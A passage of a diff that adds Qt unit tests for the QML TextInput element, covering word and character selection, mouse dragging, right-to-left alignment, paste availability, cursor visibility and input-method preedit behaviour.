+ << standard[2] << 12 << 6 << QDeclarativeTextInput::SelectWords << 6 << 12 << false;
+ QTest::newRow("Hello<,( world!)>|words,ltr")
+ << standard[2] << 6 << 13 << QDeclarativeTextInput::SelectWords << 5 << 13 << false;
+ QTest::newRow("Hello,<( world!)>|words,rtl")
+ << standard[2] << 13 << 6 << QDeclarativeTextInput::SelectWords << 6 << 13 << false;
+ QTest::newRow("Hello<(, world!)>|words")
+ << standard[2] << 5 << 13 << QDeclarativeTextInput::SelectWords << 5 << 13 << true;
+ // Fails due to an issue with QTextBoundaryFinder and punctuation at the end of strings.
+ // QTBUG-11365
+ // QTest::newRow("world<(!)>|words")
+ // << standard[2] << 12 << 13 << QDeclarativeTextInput::SelectWords << 12 << 13 << true;
+ QTest::newRow("world!<()>)|words")
+ << standard[2] << 13 << 13 << QDeclarativeTextInput::SelectWords << 13 << 13 << true;
+ QTest::newRow("world<()>!)|words")
+ << standard[2] << 12 << 12 << QDeclarativeTextInput::SelectWords << 12 << 12 << true;
+
+ QTest::newRow("<(,)>olleH |words")
+ << standard[3] << 7 << 8 << QDeclarativeTextInput::SelectWords << 7 << 8 << true;
+ QTest::newRow("<dlrow( ,)>olleH|words,ltr")
+ << standard[3] << 6 << 8 << QDeclarativeTextInput::SelectWords << 1 << 8 << false;
+ QTest::newRow("dlrow<( ,)>olleH|words,rtl")
+ << standard[3] << 8 << 6 << QDeclarativeTextInput::SelectWords << 6 << 8 << false;
+ QTest::newRow("<dlrow( ,ol)leH>|words,ltr")
+ << standard[3] << 6 << 10 << QDeclarativeTextInput::SelectWords << 1 << 13 << false;
+ QTest::newRow("dlrow<( ,ol)leH>|words,rtl")
+ << standard[3] << 10 << 6 << QDeclarativeTextInput::SelectWords << 6 << 13 << false;
+ QTest::newRow(",<(ol)leH>,|words")
+ << standard[3] << 8 << 10 << QDeclarativeTextInput::SelectWords << 8 << 13 << true;
+ QTest::newRow(",<()>olleH|words")
+ << standard[3] << 8 << 8 << QDeclarativeTextInput::SelectWords << 8 << 8 << true;
+ QTest::newRow("<()>,olleH|words")
+ << standard[3] << 7 << 7 << QDeclarativeTextInput::SelectWords << 7 << 7 << true;
+ QTest::newRow("<dlrow( )>,olleH|words,ltr")
+ << standard[3] << 6 << 7 << QDeclarativeTextInput::SelectWords << 1 << 7 << false;
+ QTest::newRow("dlrow<( ),>olleH|words,rtl")
+ << standard[3] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 8 << false;
+ QTest::newRow("<(dlrow )>,olleH|words,ltr")
+ << standard[3] << 1 << 7 << QDeclarativeTextInput::SelectWords << 1 << 7 << false;
+ QTest::newRow("<(dlrow ),>olleH|words,rtl")
+ << standard[3] << 7 << 1 << QDeclarativeTextInput::SelectWords << 1 << 8 << false;
+ QTest::newRow("<(!dlrow )>,olleH|words,ltr")
+ << standard[3] << 0 << 7 << QDeclarativeTextInput::SelectWords << 0 << 7 << false;
+ QTest::newRow("<(!dlrow ),>olleH|words,rtl")
+ << standard[3] << 7 << 0 << QDeclarativeTextInput::SelectWords << 0 << 8 << false;
+ QTest::newRow("(!dlrow ,)olleH|words")
+ << standard[3] << 0 << 8 << QDeclarativeTextInput::SelectWords << 0 << 8 << true;
+ QTest::newRow("<(!)>dlrow|words")
+ << standard[3] << 0 << 1 << QDeclarativeTextInput::SelectWords << 0 << 1 << true;
+ QTest::newRow("<()>!dlrow|words")
+ << standard[3] << 0 << 0 << QDeclarativeTextInput::SelectWords << 0 << 0 << true;
+ QTest::newRow("!<()>dlrow|words")
+ << standard[3] << 1 << 1 << QDeclarativeTextInput::SelectWords << 1 << 1 << true;
+}
+
+void tst_qdeclarativetextinput::moveCursorSelection()
+{
+ QFETCH(QString, testStr);
+ QFETCH(int, cursorPosition);
+ QFETCH(int, movePosition);
+ QFETCH(QDeclarativeTextInput::SelectionMode, mode);
+ QFETCH(int, selectionStart);
+ QFETCH(int, selectionEnd);
+ QFETCH(bool, reversible);
+
+ QString componentStr = "import QtQuick 1.1\nTextInput { text: \""+ testStr +"\"; }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+ QVERIFY(textinputObject != 0);
+
+ textinputObject->setCursorPosition(cursorPosition);
+ textinputObject->moveCursorSelection(movePosition, mode);
+
+ QCOMPARE(textinputObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
+ QCOMPARE(textinputObject->selectionStart(), selectionStart);
+ QCOMPARE(textinputObject->selectionEnd(), selectionEnd);
+
+ if (reversible) {
+ textinputObject->setCursorPosition(movePosition);
+ textinputObject->moveCursorSelection(cursorPosition, mode);
+
+ QCOMPARE(textinputObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
+ QCOMPARE(textinputObject->selectionStart(), selectionStart);
+ QCOMPARE(textinputObject->selectionEnd(), selectionEnd);
+ }
+}
+
+void tst_qdeclarativetextinput::moveCursorSelectionSequence_data()
+{
+ QTest::addColumn<QString>("testStr");
+ QTest::addColumn<int>("cursorPosition");
+ QTest::addColumn<int>("movePosition1");
+ QTest::addColumn<int>("movePosition2");
+ QTest::addColumn<int>("selection1Start");
+ QTest::addColumn<int>("selection1End");
+ QTest::addColumn<int>("selection2Start");
+ QTest::addColumn<int>("selection2End");
+
+ QTest::newRow("the {<quick( bro)wn> f^ox} jumped|ltr")
+ << standard[0]
+ << 9 << 13 << 17
+ << 4 << 15
+ << 4 << 19;
+ QTest::newRow("the quick<( {bro)wn> f^ox} jumped|rtl")
+ << standard[0]
+ << 13 << 9 << 17
+ << 9 << 15
+ << 10 << 19;
+ QTest::newRow("the {<quick( bro)wn> ^}fox jumped|ltr")
+ << standard[0]
+ << 9 << 13 << 16
+ << 4 << 15
+ << 4 << 16;
+ QTest::newRow("the quick<( {bro)wn> ^}fox jumped|rtl")
+ << standard[0]
+ << 13 << 9 << 16
+ << 9 << 15
+ << 10 << 16;
+ QTest::newRow("the {<quick( bro)wn^>} fox jumped|ltr")
+ << standard[0]
+ << 9 << 13 << 15
+ << 4 << 15
+ << 4 << 15;
+ QTest::newRow("the quick<( {bro)wn^>} f^ox jumped|rtl")
+ << standard[0]
+ << 13 << 9 << 15
+ << 9 << 15
+ << 10 << 15;
+ QTest::newRow("the {<quick() ^}bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 10
+ << 4 << 15
+ << 4 << 10;
+ QTest::newRow("the quick<( {^bro)wn>} fox|rtl")
+ << standard[0]
+ << 13 << 9 << 10
+ << 9 << 15
+ << 10 << 15;
+ QTest::newRow("the {<quick^}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 9
+ << 4 << 15
+ << 4 << 9;
+ QTest::newRow("the quick{<(^ bro)wn>} fox|rtl")
+ << standard[0]
+ << 13 << 9 << 9
+ << 9 << 15
+ << 9 << 15;
+ QTest::newRow("the {<qui^ck}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 7
+ << 4 << 15
+ << 4 << 9;
+ QTest::newRow("the {<qui^ck}( bro)wn> fox|rtl")
+ << standard[0]
+ << 13 << 9 << 7
+ << 9 << 15
+ << 4 << 15;
+ QTest::newRow("the {<^quick}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 4
+ << 4 << 15
+ << 4 << 9;
+ QTest::newRow("the {<^quick}( bro)wn> fox|rtl")
+ << standard[0]
+ << 13 << 9 << 4
+ << 9 << 15
+ << 4 << 15;
+ QTest::newRow("the{^ <quick}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 3
+ << 4 << 15
+ << 3 << 9;
+ QTest::newRow("the{^ <quick}( bro)wn> fox|rtl")
+ << standard[0]
+ << 13 << 9 << 3
+ << 9 << 15
+ << 3 << 15;
+ QTest::newRow("{t^he <quick}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 1
+ << 4 << 15
+ << 0 << 9;
+ QTest::newRow("{t^he <quick}( bro)wn> fox|rtl")
+ << standard[0]
+ << 13 << 9 << 1
+ << 9 << 15
+ << 0 << 15;
+
+ QTest::newRow("{<He(ll)o>, w^orld}!|ltr")
+ << standard[2]
+ << 2 << 4 << 8
+ << 0 << 5
+ << 0 << 12;
+ QTest::newRow("{<He(ll)o>, w^orld}!|rtl")
+ << standard[2]
+ << 4 << 2 << 8
+ << 0 << 5
+ << 0 << 12;
+
+ QTest::newRow("!{dlro^w ,<o(ll)eH>}|ltr")
+ << standard[3]
+ << 9 << 11 << 5
+ << 8 << 13
+ << 1 << 13;
+ QTest::newRow("!{dlro^w ,<o(ll)eH>}|rtl")
+ << standard[3]
+ << 11 << 9 << 5
+ << 8 << 13
+ << 1 << 13;
+}
+
+void tst_qdeclarativetextinput::moveCursorSelectionSequence()
+{
+ QFETCH(QString, testStr);
+ QFETCH(int, cursorPosition);
+ QFETCH(int, movePosition1);
+ QFETCH(int, movePosition2);
+ QFETCH(int, selection1Start);
+ QFETCH(int, selection1End);
+ QFETCH(int, selection2Start);
+ QFETCH(int, selection2End);
+
+ QString componentStr = "import QtQuick 1.1\nTextInput { text: \""+ testStr +"\"; }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+ QVERIFY(textinputObject != 0);
+
+ textinputObject->setCursorPosition(cursorPosition);
+
+ textinputObject->moveCursorSelection(movePosition1, QDeclarativeTextInput::SelectWords);
+ QCOMPARE(textinputObject->selectedText(), testStr.mid(selection1Start, selection1End - selection1Start));
+ QCOMPARE(textinputObject->selectionStart(), selection1Start);
+ QCOMPARE(textinputObject->selectionEnd(), selection1End);
+
+ textinputObject->moveCursorSelection(movePosition2, QDeclarativeTextInput::SelectWords);
+ QCOMPARE(textinputObject->selectedText(), testStr.mid(selection2Start, selection2End - selection2Start));
+ QCOMPARE(textinputObject->selectionStart(), selection2Start);
+ QCOMPARE(textinputObject->selectionEnd(), selection2End);
+}
+
+void tst_qdeclarativetextinput::dragMouseSelection()
+{
+ QString qmlfile = SRCDIR "/data/mouseselection_true.qml";
+
+ QDeclarativeView *canvas = createView(qmlfile);
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextInput *textInputObject = qobject_cast<QDeclarativeTextInput *>(canvas->rootObject());
+ QVERIFY(textInputObject != 0);
+
+ // press-and-drag-and-release from x1 to x2
+ int x1 = 10;
+ int x2 = 70;
+ int y = textInputObject->height()/2;
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+
+ QString str1 = textInputObject->selectedText();
+ QVERIFY(str1.length() > 3);
+
+ // press and drag the current selection.
+ x1 = 40;
+ x2 = 100;
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+ QString str2 = textInputObject->selectedText();
+ QVERIFY(str2.length() > 3);
+
+ QVERIFY(str1 != str2); // Verify the second press and drag is a new selection and doesn't not the first moved.
+ delete canvas;
+}
+
+void tst_qdeclarativetextinput::mouseSelectionMode_data()
+{
+ QTest::addColumn<QString>("qmlfile");
+ QTest::addColumn<bool>("selectWords");
+
+ // import installed
+ QTest::newRow("SelectWords") << SRCDIR "/data/mouseselectionmode_words.qml" << true;
+ QTest::newRow("SelectCharacters") << SRCDIR "/data/mouseselectionmode_characters.qml" << false;
+ QTest::newRow("default") << SRCDIR "/data/mouseselectionmode_default.qml" << false;
+}
+
+void tst_qdeclarativetextinput::mouseSelectionMode()
+{
+ QFETCH(QString, qmlfile);
+ QFETCH(bool, selectWords);
+
+ QString text = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+
+ QDeclarativeView *canvas = createView(qmlfile);
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextInput *textInputObject = qobject_cast<QDeclarativeTextInput *>(canvas->rootObject());
+ QVERIFY(textInputObject != 0);
+
+ // press-and-drag-and-release from x1 to x2
+ int x1 = 10;
+ int x2 = 70;
+ int y = textInputObject->height()/2;
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+ QString str = textInputObject->selectedText();
+ if (selectWords) {
+ QCOMPARE(str, text);
+ } else {
+ QVERIFY(str.length() > 3);
+ QVERIFY(str != text);
+ }
+
+ delete canvas;
+}
+
void tst_qdeclarativetextinput::horizontalAlignment_data()
{
QTest::addColumn<int>("hAlign");
@@ -448,6 +905,31 @@ void tst_qdeclarativetextinput::horizontalAlignment()
delete canvas;
}
+void tst_qdeclarativetextinput::horizontalAlignment_RightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml");
+ QDeclarativeTextInput *textInput = canvas->rootObject()->findChild<QDeclarativeTextInput*>("text");
+ QVERIFY(textInput != 0);
+ canvas->show();
+
+ QDeclarativeTextInputPrivate *textInputPrivate = QDeclarativeTextInputPrivate::get(textInput);
+ QVERIFY(textInputPrivate != 0);
+ QVERIFY(-textInputPrivate->hscroll > canvas->width()/2);
+
+ // "Right" Align
+ textInput->setHAlign(QDeclarativeTextInput::AlignRight);
+ QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignRight);
+ QVERIFY(-textInputPrivate->hscroll < canvas->width()/2);
+
+ // Center Align
+ textInput->setHAlign(QDeclarativeTextInput::AlignHCenter);
+ QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignHCenter);
+ QVERIFY(-textInputPrivate->hscroll < canvas->width()/2);
+ QVERIFY(-textInputPrivate->hscroll + textInputPrivate->width() > canvas->width()/2);
+
+ delete canvas;
+}
+
void tst_qdeclarativetextinput::positionAt()
{
QDeclarativeView *canvas = createView(SRCDIR "/data/positionAt.qml");
@@ -739,10 +1221,18 @@ void tst_qdeclarativetextinput::copyAndPaste() {
QCOMPARE(textInput->selectedText(), QString("Hello world!"));
QCOMPARE(textInput->selectedText().length(), 12);
textInput->setCursorPosition(0);
+ QVERIFY(textInput->canPaste());
textInput->paste();
QCOMPARE(textInput->text(), QString("Hello world!Hello world!"));
QCOMPARE(textInput->text().length(), 24);
+ // can paste
+ QVERIFY(textInput->canPaste());
+ textInput->setReadOnly(true);
+ QVERIFY(!textInput->canPaste());
+ textInput->setReadOnly(false);
+ QVERIFY(textInput->canPaste());
+
// select word
textInput->setCursorPosition(0);
textInput->selectWord();
@@ -760,6 +1250,7 @@ void tst_qdeclarativetextinput::copyAndPaste() {
QClipboard *clipboard = QApplication::clipboard();
QVERIFY(clipboard);
clipboard->clear();
+ QVERIFY(!textInput->canPaste());
// test that copy functionality is disabled
// when echo mode is set to hide text/password mode
@@ -826,6 +1317,75 @@ void tst_qdeclarativetextinput::cursorDelegate()
delete view;
}
+void tst_qdeclarativetextinput::cursorVisible()
+{
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ QDeclarativeTextInput input;
+ QSignalSpy spy(&input, SIGNAL(cursorVisibleChanged(bool)));
+
+ QCOMPARE(input.isCursorVisible(), false);
+
+ input.setCursorVisible(true);
+ QCOMPARE(input.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 1);
+
+ input.setCursorVisible(false);
+ QCOMPARE(input.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 2);
+
+ input.setFocus(true);
+ QCOMPARE(input.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 2);
+
+ scene.addItem(&input);
+ QCOMPARE(input.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 3);
+
+ input.setFocus(false);
+ QCOMPARE(input.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 4);
+
+ input.setFocus(true);
+ QCOMPARE(input.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 5);
+
+ scene.clearFocus();
+ QCOMPARE(input.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 6);
+
+ scene.setFocus();
+ QCOMPARE(input.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 7);
+
+ view.clearFocus();
+ QCOMPARE(input.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 8);
+
+ view.setFocus();
+ QCOMPARE(input.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 9);
+
+ // on mac, setActiveWindow(0) on mac does not deactivate the current application
+ // (you have to switch to a different app or hide the current app to trigger this)
+#if !defined(Q_WS_MAC)
+ QApplication::setActiveWindow(0);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(0));
+ QCOMPARE(input.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 10);
+
+ QApplication::setActiveWindow(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+ QCOMPARE(input.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 11);
+#endif
+}
+
void tst_qdeclarativetextinput::readOnly()
{
QDeclarativeView *canvas = createView(SRCDIR "/data/readOnly.qml");
@@ -907,6 +1467,8 @@ void tst_qdeclarativetextinput::echoMode()
input->setFocus(false);
QVERIFY(input->hasActiveFocus() == false);
QCOMPARE(input->displayText(), QLatin1String("Q"));
+
+ delete canvas;
}
void tst_qdeclarativetextinput::simulateKey(QDeclarativeView *view, int key)
@@ -929,7 +1491,7 @@ QDeclarativeView *tst_qdeclarativetextinput::createView(const QString &filename)
class MyInputContext : public QInputContext
{
public:
- MyInputContext() : openInputPanelReceived(false), closeInputPanelReceived(false) {}
+ MyInputContext() : openInputPanelReceived(false), closeInputPanelReceived(false), updateReceived(false), eventType(QEvent::None) {}
~MyInputContext() {}
QString identifierName() { return QString(); }
@@ -947,8 +1509,40 @@ public:
closeInputPanelReceived = true;
return QInputContext::filterEvent(event);
}
+
+ void update() { updateReceived = true; }
+
+ void mouseHandler(int x, QMouseEvent *event)
+ {
+ cursor = x;
+ eventType = event->type();
+ eventPosition = event->pos();
+ eventGlobalPosition = event->globalPos();
+ eventButton = event->button();
+ eventButtons = event->buttons();
+ eventModifiers = event->modifiers();
+ }
+
+ void sendPreeditText(const QString &text, int cursor)
+ {
+ QList<QInputMethodEvent::Attribute> attributes;
+ attributes.append(QInputMethodEvent::Attribute(
+ QInputMethodEvent::Cursor, cursor, text.length(), QVariant()));
+
+ QInputMethodEvent event(text, attributes);
+ sendEvent(event);
+ }
+
bool openInputPanelReceived;
bool closeInputPanelReceived;
+ bool updateReceived;
+ int cursor;
+ QEvent::Type eventType;
+ QPoint eventPosition;
+ QPoint eventGlobalPosition;
+ Qt::MouseButton eventButton;
+ Qt::MouseButtons eventButtons;
+ Qt::KeyboardModifiers eventModifiers;
};
void tst_qdeclarativetextinput::openInputPanelOnClick()
@@ -1117,6 +1711,16 @@ void tst_qdeclarativetextinput::openInputPanelOnFocus()
QApplication::processEvents();
QVERIFY(view.inputContext() == 0);
QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled));
+
+ // input method should not be enabled
+ // if TextEdit is read only.
+ input.setReadOnly(true);
+ ic.openInputPanelReceived = false;
+ input.setFocus(true);
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QVERIFY(view.inputContext() == 0);
+ QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled));
}
class MyTextInput : public QDeclarativeTextInput
@@ -1183,6 +1787,285 @@ void tst_qdeclarativetextinput::geometrySignals()
delete o;
}
+void tst_qdeclarativetextinput::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; TextInput { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; TextInput { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_qdeclarativetextinput::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("canPaste") << "property bool foo: canPaste"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: canPaste"
+ << "";
+
+ QTest::newRow("moveCursorSelection") << "Component.onCompleted: moveCursorSelection(0, TextEdit.SelectCharacters)"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: moveCursorSelection"
+ << "";
+
+ QTest::newRow("deselect") << "Component.onCompleted: deselect()"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: deselect"
+ << "";
+}
+
+void tst_qdeclarativetextinput::preeditAutoScroll()
+{
+ QString committedText = "super";
+ QString preeditText = "califragisiticexpialidocious!";
+
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyInputContext ic;
+ view.setInputContext(&ic);
+ QDeclarativeTextInput input;
+ input.setWidth(QFontMetricsF(input.font()).width(committedText));
+ input.setText(committedText);
+ input.setPos(0, 0);
+ input.setFocus(true);
+ scene.addItem(&input);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ // test the text is scrolled so the preedit is visible.
+ ic.sendPreeditText(preeditText.mid(0, 3), 1);
+ QVERIFY(input.positionAt(0) != 0);
+ QCOMPARE(input.positionAt(input.width()), 8);
+
+ // test the text is scrolled back when the preedit is removed.
+ ic.sendEvent(QInputMethodEvent());
+ QCOMPARE(input.positionAt(0), 0);
+ QCOMPARE(input.positionAt(input.width()), 5);
+
+ // test if the preedit is larger than the text input that the
+ // character preceding the cursor is still visible.
+ for (int i = 0; i < 3; ++i) {
+ ic.sendPreeditText(preeditText, i + 1);
+ QCOMPARE(input.positionAt(0), 5 + i);
+ }
+ for (int i = 1; i >= 0; --i) {
+ ic.sendPreeditText(preeditText, i + 1);
+ QCOMPARE(input.positionAt(0), 5 + i);
+ }
+
+ // Test incrementing the preedit cursor doesn't cause further
+ // scrolling when right most text is visible.
+ ic.sendPreeditText(preeditText, preeditText.length() - 3);
+ int position = input.positionAt(0);
+ for (int i = 2; i >= 0; --i) {
+ ic.sendPreeditText(preeditText, preeditText.length() - i);
+ QCOMPARE(input.positionAt(0), position);
+ }
+ for (int i = 1; i < 3; ++i) {
+ ic.sendPreeditText(preeditText, preeditText.length() - i);
+ QCOMPARE(input.positionAt(0), position);
+ }
+
+ // Test disabling auto scroll.
+ ic.sendEvent(QInputMethodEvent());
+
+ input.setAutoScroll(false);
+ ic.sendPreeditText(preeditText.mid(0, 3), 1);
+ QCOMPARE(input.positionAt(0), 0);
+ QCOMPARE(input.positionAt(input.width()), 5);
+}
+
+void tst_qdeclarativetextinput::preeditMicroFocus()
+{
+ QString preeditText = "super";
+
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyInputContext ic;
+ view.setInputContext(&ic);
+ QDeclarativeTextInput input;
+ input.setPos(0, 0);
+ input.setFocus(true);
+ scene.addItem(&input);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ QRect currentRect;
+ QRect previousRect = input.inputMethodQuery(Qt::ImMicroFocus).toRect();
+
+ // Verify that the micro focus rect is positioned the same for position 0 as
+ // it would be if there was no preedit text.
+ ic.updateReceived = false;
+ ic.sendPreeditText(preeditText, 0);
+ currentRect = input.inputMethodQuery(Qt::ImMicroFocus).toRect();
+ QCOMPARE(currentRect, previousRect);
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+ QCOMPARE(ic.updateReceived, true);
+#endif
+
+ // Verify that the micro focus rect moves to the left as the cursor position
+ // is incremented.
+ for (int i = 1; i <= 5; ++i) {
+ ic.updateReceived = false;
+ ic.sendPreeditText(preeditText, i);
+ currentRect = input.inputMethodQuery(Qt::ImMicroFocus).toRect();
+ QVERIFY(previousRect.left() < currentRect.left());
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+ QCOMPARE(ic.updateReceived, true);
+#endif
+ previousRect = currentRect;
+ }
+
+ // Verify that if there is no preedit cursor then the micro focus rect is the
+ // same as it would be if it were positioned at the end of the preedit text.
+ ic.sendPreeditText(preeditText, 0);
+ ic.updateReceived = false;
+ ic.sendEvent(QInputMethodEvent(preeditText, QList<QInputMethodEvent::Attribute>()));
+ currentRect = input.inputMethodQuery(Qt::ImMicroFocus).toRect();
+ QCOMPARE(currentRect, previousRect);
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+ QCOMPARE(ic.updateReceived, true);
+#endif
+}
+
+void tst_qdeclarativetextinput::inputContextMouseHandler()
+{
+ QString text = "supercalifragisiticexpialidocious!";
+
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyInputContext ic;
+ view.setInputContext(&ic);
+ QDeclarativeTextInput input;
+ input.setWidth(200);
+ input.setText(text.mid(0, 12));
+ input.setCursorPosition(12);
+ input.setPos(0, 0);
+ input.setFocus(true);
+ scene.addItem(&input);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ QFontMetricsF fm(input.font());
+ const qreal y = fm.height() / 2;
+
+ QPoint position2 = view.mapFromScene(input.mapToScene(QPointF(fm.width(text.mid(0, 2)), y)));
+ QPoint position8 = view.mapFromScene(input.mapToScene(QPointF(fm.width(text.mid(0, 8)), y)));
+ QPoint position20 = view.mapFromScene(input.mapToScene(QPointF(fm.width(text.mid(0, 20)), y)));
+ QPoint position27 = view.mapFromScene(input.mapToScene(QPointF(fm.width(text.mid(0, 27)), y)));
+ QPoint globalPosition2 = view.viewport()->mapToGlobal(position2);
+ QPoint globalposition8 = view.viewport()->mapToGlobal(position8);
+ QPoint globalposition20 = view.viewport()->mapToGlobal(position20);
+ QPoint globalposition27 = view.viewport()->mapToGlobal(position27);
+
+ ic.sendEvent(QInputMethodEvent(text.mid(12), QList<QInputMethodEvent::Attribute>()));
+
+ QTest::mouseDClick(view.viewport(), Qt::LeftButton, Qt::NoModifier, position2);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonDblClick);
+ QCOMPARE(ic.eventPosition, position2);
+ QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+ QVERIFY(ic.cursor < 0);
+ ic.eventType = QEvent::None;
+
+ QTest::mousePress(view.viewport(), Qt::LeftButton, Qt::NoModifier, position2);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonPress);
+ QCOMPARE(ic.eventPosition, position2);
+ QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+ QVERIFY(ic.cursor < 0);
+ ic.eventType = QEvent::None;
+
+ { QMouseEvent mv(QEvent::MouseMove, position8, globalposition8, Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(view.viewport(), &mv); }
+ QCOMPARE(ic.eventType, QEvent::None);
+
+ { QMouseEvent mv(QEvent::MouseMove, position27, globalposition27, Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(view.viewport(), &mv); }
+ QCOMPARE(ic.eventType, QEvent::MouseMove);
+ QCOMPARE(ic.eventPosition, position27);
+ QCOMPARE(ic.eventGlobalPosition, globalposition27);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
